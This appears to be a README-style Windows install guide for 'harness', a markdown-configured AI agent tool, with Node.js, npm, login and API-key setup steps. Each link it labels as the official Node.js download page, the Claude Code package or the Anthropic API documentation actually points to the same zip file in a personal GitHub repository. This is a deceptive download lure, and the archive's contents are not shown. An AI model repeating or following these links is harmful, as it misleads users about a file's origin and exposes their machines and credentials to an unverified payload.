Use the link below to visit the GitHub page where you can download the installer for Windows.

Download harness on GitHub

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harness lets you create AI agents using simple markdown files. You can control every part of the agent’s behavior with easy-to-edit text files. This tool runs directly on your Windows computer with a command-line interface that is easy to use.

To get started, you only need to download the software and set up your access credentials. This guide covers every step.

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• Windows 10 or newer (64-bit)
• At least 2 GB of free disk space
• Internet connection for downloading and API access
• Node.js version 22.x installed (required for harness to run)

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harness requires Node.js, a tool that lets JavaScript programs run on your computer. This guide includes easy instructions for this.

You also need an API key or login credentials to authenticate harness. Two methods work:

• Claude Code login
• Anthropic API key

Instructions are below.

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Node.js must be installed before harness can work.

1. Open your browser and go to the official Node.js download page:
   https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip

2. Download the Windows installer for the latest Node.js 22.x version.

3. Run the installer and follow the steps. Choose the default options unless you know what you are doing.

4. Once installed, verify it works:

   • Open Command Prompt by typing cmd in the Start menu.
   • Type node -v and press Enter.
   • You should see a version number starting with v22.

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Now that you have Node.js:

1. Open Command Prompt again.

2. Type the command below and press Enter:
   npm install -g @mastersof-ai/harness

3. Wait for the installation to finish. This will set up harness globally on your computer.

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Choose one of these two options to let harness access your AI service.

1. In the Command Prompt, type:
   npm install -g @anthropic-ai/claude-code

2. Then enter:
   claude login

3. Follow the instructions to log in with your Claude Code account. This will save your credentials locally.

1. Get your API key from your Anthropic account or service provider.

2. Set the API key for your session by typing:
   set ANTHROPIC_API_KEY=your-api-key

Replace your-api-key with the actual key.

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harness uses an IDENTITY.md file to define your agent’s personality and purpose.

1. Create a new folder anywhere on your computer.
2. Inside that folder, create a new text file named IDENTITY.md.
3. Write your agent’s description, instructions, and details in markdown format. This sets exactly how your agent behaves.

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1. Open Command Prompt.

2. Navigate to the folder where your IDENTITY.md file is. For example:
   cd C:\Users\YourName\Documents\YourAgentFolder

3. Run the harness agent by typing:
   mastersof-ai

This starts your agent with the exact context from your IDENTITY.md file and no hidden instructions.

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• Persistent memory to remember past conversations
• Built-in tools and sub-agents you can control
• Sandboxing to safely test actions
• Terminal-based user interface for easy interaction

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• Keep your IDENTITY.md file clear and specific. The agent will follow only what you write there.
• Use simple markdown to organize instructions and agent behavior.
• You can add tools by editing the configuration files if you want advanced control.
• Save your work often and back up your agent folder.

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• Node.js Official Site: https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip
• Claude Code Package: https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip
• Anthropic API Documentation (for key setup): https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip

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Release History